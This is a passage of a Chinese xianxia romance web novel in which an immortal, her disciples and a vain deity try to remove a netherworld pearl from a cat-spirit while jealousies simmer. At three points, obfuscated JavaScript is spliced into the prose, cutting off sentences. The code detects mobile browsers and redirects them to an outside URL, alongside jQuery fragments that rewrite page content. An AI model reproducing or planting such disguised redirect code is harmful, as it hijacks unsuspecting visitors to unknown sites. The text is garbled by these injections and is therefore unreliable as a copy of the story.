青晏收回落在他脸上的目光,缓缓道:“若要我信,你这脸上的假笑,恐怕需要再换一种。现在这个,我已经认识了。” 颜故感觉自己五脏六腑都在撼动。 他干涩道:“……什么?” 青晏重新转眼望向他,喟叹道:“你现在这个笑,就代表你此时心里正思绪纷飞,但却不想被人看出来,所以用笑容将它们都遮盖好,装出一副天下太平的样子。” “但真的太平吗?”她反问,“还是你自己在钻牛角尖?” 颜故感觉自己的脑子都要被心口涌上来的火给烧没了。他怔愣地坐在秋千上,不明白为什么事情会变成现在这个样子。 那是他对着镜子练了近万年的,最完美无暇,最和柔可亲,最能凸显自己容貌魅力的微笑,每一丝弧度都由他精心雕琢,又一点点通过反复练习刻进自己本能,自然到仿佛面前这个人就是在释放自己心底最真挚的笑意一般。 可为什么……会被仙子看穿呢?又是从什么时候开始被看穿的呢? 颜故情不自禁开始从头回忆遇见青晏后的每一处细节。 青晏一见他这副眸光闪动的神情,便知他一定又开始过度思虑了,于是便道:“若是没吓到便最好了。我之所以这么问,也是怕是因为我的原因才导致你受惊吓。若真是如此,我该向你道歉的。” 颜故抿了抿唇,声音有些低哑:“谢谢仙子关心,但我真的没有被吓到,方才只是累了。” 青晏见状也不再追问,点头道:“既然如此,便回去休息吧,明日也不急着起。” 可颜故却没有动身。 他喉结上下滚了滚,还是忍不住将在心底乱撞的那个问题问出了口:“仙子为什么……会这样关心我?” 青晏看着他笑了。 她伸脚轻点了一下地面,在秋千荡起来的徐徐晚风中轻松道:“因为你是我的后辈啊,我当然要上心的。” 颜故的睫毛抖了一抖。 后辈。 只是因为是后辈。 他细细地品着这两个字的含义,微微垂下眼睑,轻声道:“能有仙子这样的前辈,实属是我……” 青晏赶紧打断他:“往后这种话千万不必说。” 原本人家拜入自己座下,就该尽心尽责,更何况是颜故这样明显是天界未来栋梁的人物,于情于理都得好好对待,倾尽全力栽培才是。 颜故低低“嗯”了一声,随即忽然抬头:“仙子今日说要找八百个貌美小男孩,可是真的么?” 57.秋千 秋千猛地停住了。 青晏的脚支着地面,不可思议地转过身子:“啊?” 颜故偏着头凝视着她:“仙子方才和天帝的对话,我听见了。” 他不光听见了,也看见了。那般亲昵自然的互动,那般鲜活灵动的姿态,此前只有在仙子和明煦相处时才曾显现过。 可如今这般模样,天帝竟也可以拥有。 “那个……只是玩笑话,不是真的,”青晏连连摆手,“他非说初三长得不好看,说这种长相的小男孩随便就能找到八百个,我气不过才这么说的。” “哦,”颜故轻轻应了一声,“我原本还想问,是不是只要找七百九十九个就够了?” 他慢慢抬起眼,眸中微光摄魂夺魄:“不知道在仙子心中,我有没有资格混算进去呢?” 清风拂过水面,染了几分夕阳光亮的粼粼湖色更衬得他一双眼明润动人。青晏望进他那双泛着潋滟水光的眼,不知怎的,心里突然想起来书云排的那个各界郎君相貌榜。 也不知这般模样的人能在那个榜上排第几呢? “算,当然算,”青晏面不改色地熟稔应道,“你的美貌无可挑剔。” 开玩笑,身边有澈樾这么个从头发丝到手指尖都要极力武装到最完美状态的朋友,青晏早已熟练掌握各种或是自然或是夸张的相貌赞美修辞手法。 然而被青晏认可了样貌的颜故看起来却并不开心。他几不可查地眯了眯眼,装作不在意地错开视线:“仙子夸人怎么夸得这样熟练?” 嗯?这是重点吗? 青晏心中虽疑惑,嘴上却迅速答道:“实话实说。” 自然,这样妥善的回答意识也是经由澈樾的多年锻炼才培养出来的。 颜故的眼睛眯得更厉害了。 不过他很快便恢复了正常,转而用一种很正式的语气,对青晏低声问道:“初三之所以突然化形,可是因为幽煞珠的缘故?” 未等青晏回答他便立即补道:“我并没有见到化形过程,只是瞧着地上有被火灼烧过的痕迹,故而大胆猜测了一番。若是猜错,还请仙子不必理会。” 青晏内心暗暗叹气。 颜故不比明煦,想要瞒他是瞒不过的。如今他既已猜出,与其藏着掖着,还不如直接坦白,看看他是否能给出新的思路。 从青晏的表情中,颜故读出了答案。 他脸上的神色更加凝重,心也不禁跟着沉了沉。 拥有那样霸道力量的幽煞珠,为何没有将初三撕碎,反而促使他化形成功?初三真的如表面看起来那般,只是一只普通的,从人界抱回来的小猫吗? “初三是我亲自带回来的,身份绝对没有问题,”青晏仿佛一眼就看穿了他的想法,沉声继续道,“至于为什么幽煞珠会与他融合,我也没有头绪。你可有什么想法?” 颜故摇了摇头:“我对幽冥之事了解甚少,但我猜测,或许它能够识别出使用者的体质?同族便相助,异族则摧毁。而初三并无法力,可能因此被幽煞珠误认成了同族,又因为他实在没有什么力量可以增强,所以幽煞珠只能推动他化形?” 他状若寻常地说着自己的猜想,内心的不安却越来越深。 从此前宁尧的话来看,幽煞珠的丢失连幽冥界自己都措手不及,此物显然并非他们自己主动献出。更何况幽煞珠乃一界圣物,无论如何都不可能被用来作为交易的筹码,这只能说明,魔界的势力已经渗透得极深,甚至到了能够趁乱盗取幽冥界圣物的地步。 这是不是意味着,风烬的力量也已经恢复得差不多,所以才有精力去运筹帷幄? 心事重重的青晏没注意到颜故那几乎快要藏不住的阴沉神情,只是微拧着眉:“你说的也有道理。” 她发出一声叹息,破天荒地展露出了一丝不轻易示人的焦虑:“也不知道能不能将此物顺利从初三体内取出,我总觉得这不是什么好事。” “虽说目前看起来并无大碍,但我还是担心。”青晏眉心间的纹路更深了,“万一哪天爆发出什么不得了的问题,我们又束手无策呢?” 颜故认真道:“我即日起便开始翻阅相关典籍,看看有没有什么办法可用,仙子宽心。” 青晏又轻轻呼出一口气:“谢谢。” 很快她又不放心地叮嘱道:“不过要悄悄地进行,不能被人发现。否则还没等我们找出办法幽冥界便登门讨回他们的圣物,我们就更加被动了。” “我明白。”颜故望进她瞳孔深处,轻声道:“我永远与仙子一条心。” 或许是因为颜故的眼神太过诚挚,青晏心头忽然涌起一股愧疚。 如果不是拜在自己座下,颜故不会遇见这么多危险,也不会在已经受伤的情况下还得分心去管这些和他其实并无什么关系的事情…… 颜故忽然轻笑出声。 见青晏疑惑地盯着他看,颜故唇角的笑意越来越浓:“仙子方才还说我钻牛角尖,可如今看来,仙子自己也思虑甚多嘛。瞧你一脸歉疚的样子,该不会是觉得哪里对不起我吧?” 他握住已经开始泛凉的秋千藤,身子向青晏那边微微探去:“虽说有些话我之前也说过多次,但如今还是想和仙子再说一遍。” “能拜入仙子座下,实乃三生有幸。”颜故的侧脸被几乎快要沉没的夕阳打上点点金光,将他那本来就深邃多情的桃花眼映得更加熠熠,“而且我每一天,都比前一天更觉得幸运。” 青晏不由自主地眨了眨眼。 “哦,好,幸运就好。”她本能地应着,“嗯……要是没什么别的事的话你就先回去吧,今晚先好好休息,典籍不急着看。” 颜故依言起身,脸上的笑意已然蔓延到眼底。他朝青晏欠了欠身,身姿优雅地从后苑离去。 那架他坐过的秋千仍在慢悠悠地晃动着,只是幅度变得越来越小。青晏盯着它看了一会儿,直至它完全停下,这才如梦初醒般想起自己要干的正经事,迅速开始与澈樾传念。 因着在姻缘殿当值的缘故,澈樾没少得见人间的各味爱恨情仇,为此和幽冥界的孟婆极有共同话题。二人时不时就凑在一起交流感慨,分享一下自己经手过的各路痴男怨女的前世今生和曲终结局,关系好得不得了。 所以自己身边,就只有他对幽冥界还算了解。如今初三吞了幽冥界的圣物进去,是时候赶紧将澈樾叫回来,让他好好发光发热了。 青晏目光坚定。 ---------- 第二日,青晏倚在院中摇椅上,晃晃悠悠地翻起了书。 明煦吃得有点饱,如今正带着初三在院子里左一圈右一圈的溜达着,坚持不用法术消解自己的腹胀感,称自己的胃在人界疏于锻炼,现在是该让它肩负起自己该有的责任的时候了。 青晏对她这番言论不做任何评价,只是淡然地又翻过一页。初三瞥了瞥那毫无封皮的书,问道:“你在看什么?” 青晏从书页上方抬眼看他,露出一个意味深长的笑容。 初三本能地觉得不对劲,刚想反悔说自己不想知道了,青晏那如冰泉般的嗓音便在他耳边响起:“这是其他仙子仙君府上灵猫的画像图册,早就送过来了,说是要让我看看有没有和你相配的,我犯懒,一直没顾上。如今虽说你已化形,应该是用不上了,但这么多漂亮的小猫还是值得一览的,多赏心悦目啊。” 她将书册卷起来,向初三伸过去:“还是你现在仍有兴趣看一看呢?” 初三像被烫到了一样向后一蹦,大声朝明煦宣布自己的委屈:“她欺负我!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784287|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “乖啊乖啊,”明煦赶紧摸摸他的后脖颈,“咱不跟她一样的。” 青晏挑了挑眉,低头继续翻阅起那本伪装成萌猫画册的的幽冥界典籍。可还没等她将卷起的书册完全展开,门外便飘来了一道清澈透亮,又兴致勃勃的声音:“谁,谁欺负谁?” 颜故循声望去,只见一抹祖母绿的身影从殿门处悠悠然踱步而来。 那人身形秀颀,手里摇着一个绘有美人的折扇,一身衣袍流光溢彩地闪着金光,宛若夏日阳光洒落在碧湖之上。他的长发大多都慵懒披散着,只在头顶以一枚玉冠松松拢起,玉冠温润细腻,更衬得发丝乌黑如墨。 待他走近,那人的面容逐渐变得清晰。 虽说此人五官棱角上分明带着英气,但他含笑的眉眼,怡然的神色却又将他的容貌融出了一副气度闲雅的自在模样,端的是比那扇上美人还要再美上几分。 “澈樾!”明煦一路小跑过去,惊喜得不得了,“你怎么过来了,我正打算有事找你来着!” 澈樾早已得了青晏不许露馅的嘱咐,听了这个问题也只是自然地一甩自己乌黑如墨的长发:“那你看看,我一听说有人,啊不,有猫需要我提供一些穿衣搭配上的建议,自然立刻第一时间赶过来。怎么样,够意思吧?” 明煦大力地拍着他的后背:“够意思,太够意思了!”她伸手摸着澈樾身上的布料,“这什么做的,这么闪?” “有眼光!”澈樾啪地一声合上手里的扇子,“这是天织坊手艺最好的仙女用卯时的霞光一点点织进去的,费时费力得很。要不是我跟他们老大关系好,这样的好东西可没那么容易拿到。怎么样,给你和青晏也安排一身?” 他又朝着初三眯眼笑:“小猫猫要不要呀?” 初三飞速摇头。 澈樾将初三周身打量了一圈:“唔,这布料确实不太符合你的气质。不过没关系,等下随我去天织坊,绝对从头到脚给你安排好。” 他的视线又瞄到早已站起身来的颜故与唐禾,对青晏道:“那就是你俩新收的座下仙使?” 听完青晏的介绍后,澈樾的眼珠子又在他们俩身上滴溜溜转了一圈,视线经过颜故的面庞时略略多停了一会儿,随后点评道:“嗯,长得挺不错,看起来都是好孩子。” 明煦赶紧对他们道:“这位就是之前和你们说过的澈樾神君,在月下老人手下当值的那位。” “瞧你这话的意思,之前就和他们提过我?”澈樾提了提眉毛,“怎么夸的我,快,再当我面夸一遍。” 明煦洋洋洒洒地胡乱说了一通澈樾的好人缘及惊人的美貌,而后又特别感动地拍了拍他的肩膀:“好兄弟,为了我遇袭的事给妖皇都一顿好损,咱们这交情没白混。” “好说,好说。”澈樾得意地摆摆手,又带着一脸不忍直视的神情朝青晏“啧”了两声,“你如今这气色看起来可是一般,冷调的衣服最近还是别穿了。” 青晏低头看看自己身上淡玉色的衣裳:“我觉得挺好看的。” “这一套是我之前送你的,当然好看,只是不适合现在穿。”澈樾拿扇子点了点下巴,“这样,等下你也和我们一起去天织坊,我给你挑几匹能提升一点你气色的料子裁衣裳。” 青晏窝回摇椅里:“我不去,我又不出门,不需要提气色。” “你就是懒得动,”澈樾悻悻道,“我挑好了给你直接送过来就高兴了是不是?” 见青晏惬意点头,澈樾翻了好大一个白眼,然而下一瞬他便立刻换了副热情的笑脸,和正好走过来的如樱如桃亲切寒暄起来,几句话间将中午饭吃什么都定好了,随后熟门熟路地抬腿就朝殿内走去,自在地就仿佛回了自己家一般。 颜故望着他的背影,目光有些发沉。 58.红线 澈樾坐在殿内,对青晏道:“你之前叫我打听的幽冥界到底知不知道风烬在吸取魂魄的事,我问了一圈,都说不知道,就连孟婆都没觉得有什么不对劲的地方,说每日里前来喝汤的魂魄看起来并未见少。所以要么压根没有这码事,要么这事做的太过隐秘,不是我认识的那些幽冥鬼族能够知道的。” 他又分析道:“不过依我看,我也觉得这事不太可能。幽冥界和魔界那梁子可是结死了的,他们怎么可能去帮风烬恢复力量?就风烬那变态性子,等他好了,回头第一个咬死的就得是幽冥。” 青晏蹙眉:“他们没发现人界死亡数量逐年增多的事?” “我认识的那些幽冥鬼族又不掌权,他们哪里知道这些。况且孟婆说来她那的魂魄数量基本上没什么变化,那不正好说明这部分多死了的魂魄被魔界法宝吸走了嘛,对得上。” 青晏应了一声,仍在继续思索着。 颜故就在这时开了口:“若是幽冥魂魄是在喝过了汤,忘却前尘往事之后才被暗中挪去给风烬的呢?” “我喜欢你这个想法,”澈樾食指一竖,“可这得有个前提,我们必须得板上钉钉地确定幽冥界的掌权者里真的有人失心疯了,非要帮助魔界重新崛起,不然往这个方向猜没意义。” 颜故低头一笑:“我不确定,只是突然想到这种可能而已。” “脑子挺活络,不错。”澈樾拍拍他的肩膀。 颜故面上浮上一层礼貌的淡笑。 澈樾与青晏明煦叽叽呱呱地聊着,不一会儿饭菜便上来了。澈樾吃得正开心,不经意间却发现颜故好似正在看他。可等他定睛去瞧时,颜故却又如常般舀起一勺金蓉豆腐,仿佛一切只是他的错觉。 澈樾眨巴了两下眼睛,决定暂时装作无事发生,安安静静地吸溜起蟹黄汤包的汁水,等着颜故接下来的动作。 果然,等颜故再次将视线移向他时,澈樾倏地抬眼,迎着颜故的目光言笑晏晏道:“这位小朋友,是想问我什么吗?” 颜故微微一顿,歉然道:“晚辈只是觉得神君头顶的玉冠温润喜人,不由自主地就多看了两眼,失礼了,还望神君莫怪。” 澈樾见终于有人夸赞了他为今天这身衣裳特意精心搭配的玉冠,心中大喜。 他从袖中抽出一根红殷殷的线绳摆在颜故面前,慈爱道:“好孩子,是个有眼光的,我当然不会怪你。初次见面我也没带什么礼物,这根红线你且拿去,这东西虽只绑得了凡人的姻缘,但好彩头嘛,即使是神仙也不嫌多。” 颜故低头看着那根红线,将手抵在唇边轻咳一声,视线不自觉地就飘向了青晏。 青晏还以为是在问她能不能收,便点了点头,随后便看见颜故珍而重之地将这红线妥善收了起来,好像这东西真能绑得了他的姻缘一般。 她不免笑了一下,身旁的明煦见状敲了一下桌子,拉长声音道:“干什么干什么,怎么还厚此薄彼呢,我们唐禾的红线呢?” “给给给给给给给给。”澈樾又扯出一根红线来,“见面礼嘛大家肯定都有,我又没说不给,你催得这个快呀。” 唐禾捧着那根红线,活像接了个烫手山芋。他偷偷瞟了一眼青晏,小心翼翼地将那红线攥在手心里,腼腆地向澈樾道谢。 澈樾十分受用,一高兴连胃口都好了不少,吃饱喝足后就带着明煦初三去了天织坊,临行前还特意问了颜故唐禾要不要也一起来挑衣服。他们二人本想婉拒,结果却双双被明煦一把拽走,被迫跟着一起去了。 感觉屋子里一下子消停了不少的青晏心满意足地眯起了眼,再一睁眼的时候就看见宸景站在自己面前。 “你那猫呢?” “澈樾带着去天织坊选衣服了。” 宸景一下子又想起来初三拒绝按照他的穿衣风格打扮的事,从鼻间发出一道冷哼:“我倒要看看澈樾到底能把他打扮成什么样子。” 青晏没理会他突如其来的忿忿:“你这是有进展了?” “当日我施法想将幽煞珠从初三体内取出的时候,就感觉有一股力量在顽强地拉扯着他的各路经脉,恐怕不能强行分离。我昨夜让书云帮忙翻了翻典籍,虽说此前肯定没发生过类似的事情,但那些可以清除幽冥之气的办法我们都可以一一试过去,说不定有能适合他这种情况的。” 见青晏眉头深深蹙起,宸景道:“我知道你舍不得,觉得这样下去你那小猫身体受不了。但他现在这样子确实没有任何可以参照的解决办法。” “不。”青晏语气平静,“等我灵力恢复后,就可以试着幻出幽煞珠和初三来,将昨天的事重演一遍。这样,就可以有参考了。” “我知道你一直对自己的幻术引以为傲,但幽煞珠幻起来可决不会容易。就算只得几分像,那也毕竟是蕴含百万鬼族之力的幽冥界圣物,你吃不消的。况且你怎么确定昨日之事一定会重演?万一只是巧合呢?” “不试怎么知道?”青晏淡然道,“先说说你找到的办法,没什么太大伤害的那些或许可以让初三直接试。” “万一你那猫不愿意呢?”宸景问,“体内蕴含如此强横的力量,若是能学会如何掌控则更是不可小觑,他会舍得?” “我们初三聪明着呢,这种事情是福是祸他还是分得清的。”青晏拿出纸笔,“来吧,都有什么可以清除幽冥之气的办法?” 宸景拗不过她,只得长叹一声,和她商讨起来。 商讨结束后已是傍晚,青晏刚把写满了办法的纸收好,就听见澈樾兴高采烈地大声宣布:“我们回来啦!” 她循声望去,只见明煦他们正神情恍惚地跟在澈樾身后,浑身上下都透着试衣服试到麻木的疲惫气息。 青晏不由得想笑,但还是尽量忍了回去,对他们道:“选得怎么样?” “挺好,挺好……”明煦虚弱地瘫倒在椅子上,“我这边大概也就试了三十多套,定下来六套还是七套来着……不记得了……” “我试了四十多套……”初三眼睛都直了,“我再也不去了……” 唐禾几乎是挪着走进来:“我和颜故也……差不多三四十套左右吧……为什么试衣服会这么累啊……” “你们就是缺乏锻炼!经常去试就好了!”澈樾一脸严肃地迈过门槛,忽然鼻子猛地一嗅,“如此庄穆严肃的香气……咱们天帝来过?” 颜故闻言立即抬眸。 青晏心中暗自咬牙。 我就说他已经被那从来都不换的熏香腌入味了他还不信! 她实在没法辩驳,只能点了点头,意料之中地看见了明煦倏然亮起来的大眼睛,有些无奈地听着她问出了那个自己早就预料到会被问出的问题:“天帝又来了?来做什么?” 青晏迎着她灼灼的目光,尝试编造一个听起来比较可信的说法:“他是来专门叮嘱我不要将幽煞珠如今在天界手里的事情泄露出去,让我也务必告诉你们。” 明煦挑了挑眉,目光暧昧:“就为了这点事儿,咱们天帝就特地亲自跑一趟昂?这不是直接传念就能解决的吗?怕是想见见谁吧?” 要见也是想见你好吧……青晏腹诽着。 看她这副欲言又止的样子,明煦更来劲了。 她身子一扭,斜靠在椅子上用胳膊支着头对青晏道:“哎呀,这种小事情你就不要藏着掖着了,你们俩那点事儿谁没听过,是不是,澈樾?” 看热闹不嫌事大的澈樾矜然点头:“是呀,起码我们姻缘殿的各位可都一直盼着这桩喜事呢。” 明煦极为满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798917|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意地朝他挤了挤眼,又迅速转向青晏:“再说了,咱这儿又没有外人,你就讲一点你们俩的事给我们听嘛,我这心田好久都没有被你们俩的新鲜故事滋润了,马上就要干涸了!” “那就干着吧,”青晏不客气道,“最好趁早换块田种。” “我不要,”明煦撇了撇嘴,“在我心里,只有咱们天帝配得上你,其他人是万万不行的。” 不知怎的,她突然觉得屋子里的气氛有些异样。 明煦疑惑地向四周看去,见颜故与唐禾都是低垂着头,一副看不清神情的模样,心中顿时恍然大悟。 肯定是试衣服累的。 这玩意儿真是太繁琐太折磨人了,要不是自己刚才听到了令人振奋的好消息,现在应该也是和他们一样这副神魂出窍的样子了。所以说这人啊,怎么着都得有个盼头…… 澈樾的眼珠子在颜故和唐禾身上叽里骨碌地转了几圈,随后露出一个耐人寻味的微笑。 他故意往青晏的方向挪了挪,慢条斯理地将自己的手搭上她的肩膀,对明煦似笑非笑道:“那可不一定,我倒是觉得他们两个没有那么配。” “胡说!”明煦一下子就急了,“你是总在外面跑,很多事情都不知道,但我这么些年可是一直都看在眼里的!” “哦?那你说说看,你都看见什么了?”澈樾刻意发问。 他的手不轻不重地在青晏肩上摇晃了两下,满意地看着颜故倏然紧绷起来的下颌线条,心里笑得更欢了。 然而这暧昧的动作在青晏和明煦眼里却没什么特别的,毕竟澈樾有这个爱和人勾肩搭背的习惯也不是一天两天了,尤其是正在对他激情细数自己这么些年一点点攒下的小糖粒的明煦。 她完全没有注意到这个动作,只是一味地冲着澈樾噼里啪啦道:“就说让我们去做指引仙官的事吧,谁不是接到任令后都得立刻、马上、飞速自己一个人赶到那?你见谁还有青晏一样的待遇,能让天帝身边的主掌令书云亲自带着朝云辇,千里迢迢地来她住的地方接她过去?” 青晏哑口无言。 那是故意让所有人都知道她是去做指引仙官,带后辈下界游历去了,省得别人怀疑她另有任务…… “还有,他对别人说话的时候一向高高在上,全都是命令的口吻,只有跟青晏说话的时候温柔得要命,还询问她的意见,这个问好不好,那个问行不行,天帝这么跟你说过话吗?嗯?” 青晏如鲠在喉。 他那是心里有自己的小九九不好说出口,只能拿我当筏子…… “而且我们这次刚回天界没多久天帝就直接冲了过来,明明是唐禾看起来伤得最重,结果他劈头就问玄镜仙子可还安好,这还不能证明青晏在他心中地位殊然?” 青晏有苦难言。 祖宗,他进殿第一个看的就是你,但是你叫他怎么好在大庭广众之下率先关心你的安危?还不是跟我急匆匆说了一句话就暗示我赶紧把话题引到你身上? “哦对了对了,”明煦心满意足地又加上了一记,“宸景可是天帝,他要是不乐意的话,他和青晏的事儿怎么可能传得出去,还传了这么久?” 青晏木然坐在原地,平生第一次感受到了什么叫做无可奈何、无言以对、无从说起、无计可施…… 这些稀松平常的事怎么从明煦的口中一说出来就全都带着些不对劲的气息,然而事实上每一件事背后都有一个和暧昧没有任何一丁点关系的理由,可偏偏这些理由没一个是她说得出口的啊! 见眼前两个小仙使的脸色越来越黑,澈樾咧嘴一笑,故意拉长声音,抑扬顿挫道:“啊呀,竟是如此,看来咱们天帝确实情深意重,就是不知道玄镜仙子是不是和你俩的传闻里一样,也对天帝情意绵绵呢?” 59.倔强 青晏打开他的手:“你少装,我和宸景那传闻怎么起来的你不知道?你当年没少帮着宣传吧?” “你也说了那是当年的事嘛,都过了这么久,就是块铁也该焐热了,更何况是一颗心呢?不过这颗心毕竟是长在你身上的,那可确实不好说了……啊!” 他精心打理了很久的秀发被青晏一巴掌拍乱,顿时没空再揶揄她和宸景的事,赶紧重新收拾起自己的形象来。 青晏斜了他一眼:“是我的心硬还是我的巴掌硬?” 澈樾动了动嘴唇,非常理智地没有回答这个问题。 看澈樾也认同了自己的观点,明煦得意地一昂头,仿佛只要赢得了这场辩论上的胜利,青晏和宸景的好日子就近在眼前了一样。 热腾腾的晚饭就在这时端了上来。 颜故默不作声,一口接一口地吃着自己面前的花椒蒸鱼,仿佛满桌其他饭菜全都瞬间消失不见,这世间能吃的东西只剩下盘子里那条孤零零的鱼。 “哇颜故,你终于找到自己爱吃的东西啦?”明煦将花椒蒸鱼往他面前推了推,“我还是第一次见你这么专一地吃东西呢。” 颜故捏着筷子的指尖有些发白:“还可以。” “辣到了?你的声音有点哑。”青晏朝一旁的西瓜凝露偏头示意,“喝一口压一压吧。” 颜故轻轻“嗯”了一声,十分听话地将那杯西瓜凝露一饮而尽,随后露出一个浅之又浅的笑容:“好喝。” 明煦瞧唐禾也埋着头,一脸神魂早已出窍只知道木然地往自己嘴里塞虾仁的模样,终于感觉到了一丝不太对劲。 她悄悄对青晏附耳道:“他们俩不会是伤还没好利索就被带着试了这么久的衣服累到了吧,怎么一个两个看起来都蔫蔫的……我心里有点不太舒服。” “我没事,”颜故似是听到了这番对话一般,抬起脸来绽放出一个漂亮的笑容,“就是发现了自己似乎不太爱吃辣。” “嗯?”明煦迷茫地看着他面前已经被吃掉了一小半的花椒蒸鱼,“你刚才不是还……” “其实第一口便不是很喜欢,但想着之前没吃过这样的菜,说不定只是自己不习惯,多吃几口或许就会喜欢了,然而试了许多次后却依旧无法改观。看来若是没有缘分的话,同一样东西就算再怎么百般尝试也无济于事,不喜欢就是不喜欢。” 颜故直勾勾地盯着青晏,眸光里有说不出的深邃:“仙子以为呢?” “啊?”这下轮到青晏迷茫了。 怎么会突然问起我?你爱吃就多吃几口,不爱吃便不吃,别人秉持着什么观念也不影响你吃东西不是? 她眨了几下眼:“或许吧,不过也有原来非常不爱吃某样东西后来又热烈爱上的,比如听白仙姬,原来她特别不爱吃鹅肉,总说有一股腥味,但后来发现只是她从前没吃到过做得好的,有一次天宫宴席上……” 颜故的脸颊鼓了鼓,似乎是非常用力地咬了咬牙,紧接着再度闷头吃起了饭,只不过这次遭殃的变成了另外一道菜。 澈樾脸上的笑意更深了。 啊,真没想到来这一趟还能看见这样有意思的事,小青晏这么多年魅力依然不减呐…… 晚饭后,青晏随便编了个借口把澈樾单独叫走。澈樾明知道是要叫他去商量初三的事,但却仍然忍不住自己想皮一下的心思。 他清了清嗓子,极尽所能风情万种地朝青晏眨了眨自己最好看的右眼:“玄镜仙子原来喜欢的是我这款吗?竟然能把天帝都比下去,在下这心里真是比蜜都……” 随着一声闷响,澈樾好不容易打理好的头发又乱了,甚至这次他那身极为稀罕的,以霞光织就的衣服上都出现了一个明晃晃的巴掌印。 青晏翻了他好大一个白眼后转身就走。澈樾回过头,饶有兴致地看了一眼正静静凝视着他的颜故,随即便潇洒地将手中美人扇一甩,大步流星地跟了上去。 -------- 青晏坐在书斋里瞪他:“就你话多!” 澈樾不以为意地在她对面坐下:“一时嘴快。下次宸景再来的时候我不说就是了,给你们瞒着,可以吧?” “……你这话说的跟我们俩有见不得人的私情一样,快收了你的神通吧,月下老人。” 澈樾像是被踩了尾巴一样几乎快要蹦起来。 他谨慎地环视了一圈,见四下无人,这才敢开始对青晏没好气道:“你这是故意报复!” 青晏耸耸肩:“怎么,就许你开我玩笑,不许我私下里偷偷叫你的真实身份?我偏要叫,月下老人,月下老人……” “我错了我错了姑奶奶,快别喊了,隔墙有耳,等下被听见了可怎么办才好?”澈樾恨不得跳过去捂住她的嘴,“我都用现在这个身份晃悠几千年了,你可别给我搞砸啊!” “放轻松,我早就设了寂音结界。况且你这张脸和众人所知的月下老人那张完全没有任何相似之处,就算被听见也不一定有人相信的。” “小心驶得万年船,用那副和蔼慈祥倍受信任的模样在人界行走已经够了,我可不想在其他地方也是这个形象。”澈樾理了理自己那乌黑秀丽的长发,“我的本相多好看呢,不给人看岂不是很浪费?” 青晏顺毛捋他:“是呢,那可太浪费了,全天下所有人的美貌加起来都不及我们澈樾神君一根头发丝飘逸。” “这就有点过了啊,”澈樾虽然口中这么说,但还是心满意足地摸了摸自己的头发,“起码那个姓颜的小仙使长得也不赖。” “这种承认他人样貌上佳的话能从你嘴里说出来可真是不容易,”青晏忍不住调侃了他一句,“不觉得我们初三化形之后也很好看吗?” “小崽子虽然也不错,但看着毕竟稚嫩了点。既然说到这了,我正好把幽冥界的情况跟你说一说。”澈樾的神情终于严肃起来。 据澈樾所言,现下幽冥界内只有极少部分位高权重的鬼族知道幽煞珠丢失的现状,消息被封得很死。它之前的看守者也被幽冥界太子宁镇寻了个其他理由灭杀泄愤,又暗中放了不少人手出去寻找,可如今却半点线索也无。 且作为一界圣物,幽煞珠从现世当天起便一直被妥善供奉,除了初代幽冥帝尊外从未有人使用过它的力量,所以没有人知道这东西为什么会和异界使用者完美融合在一起,更别提该如何将其剥离出来。 不过澈樾倒是支了一个招。 既然这东西曾经被产鬼吞进去过,那么不如也再找一个幽冥鬼族放到初三旁边,说不定幽煞珠感应到幽冥气息后就会主动从没什么修为的初三身上脱离,转而奔向同族人的怀抱。 “可这样愿意冒着未知危险去尝试且事后不会透露半句的鬼族上哪找,只能等我灵力恢复一些后试着幻出来了,就是不知道效果会不会打折扣。”青晏将那张写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“姑奶奶,你就听我一回劝吧,”澈樾苦口婆心,“就算那鬼族能将珠子吸引出来,这事儿也总得有个过程。你且先立个结界,万一真能成,就在珠子还没到它体内的时候直接将那鬼族扣进结界里,这样那珠子没处可去就还得是进入初三体内,但是我们就验证了此法可行,对不对?” 见青晏表情略有松动,澈樾趁热打铁,道他明白她怕消息泄露所以没什么帮手可选,但起码自己加上她出全力还是没问题的。到时候抓着那鬼族回天界把这些操作再来一遍,让宸景在旁边看着,实在撑不住的时候再让他也出一点力,这样宸景基本上不会有什么法力上的消耗,肯定能以全盛之姿迎战魔界,让她安心。 “别什么事儿都自己扛了,”澈樾轻柔地哄着她,“虽然我知道你有这个能力,但我、明煦、宸景、你那臭猫、甚至是那两个小仙使,还有如樱如桃她们,我们这些挂念你的人都会很担心的。偶尔也试着让我们来帮帮你,好不好?” 青晏忽地就想起在人界时,颜故曾与自己说过的话。 我愿与仙子共担忧思。 彼时她只觉得他在客套,但如今就连澈樾都在劝自己依赖一下他人,难道自己真的有些过于孤傲倔强? 她刚习惯性地开始自我反思,心中却忽然一惊。 澈樾是自己深交万余年的老友,能对自己有这番了解很是正常。可颜故在发觉这一点时,自己与他相识尚不足一月,且那时他们几人基本每日都单独在外查找线索,并无多少相处时间。 所以是自己究竟有那么容易被看穿,还是颜故的洞察力比她现在认为的还要深刻? 60.吃味 澈樾见她恍神了片刻,还以为是不愿意答应,急道:“你别犟了,就按我说的这么办!” 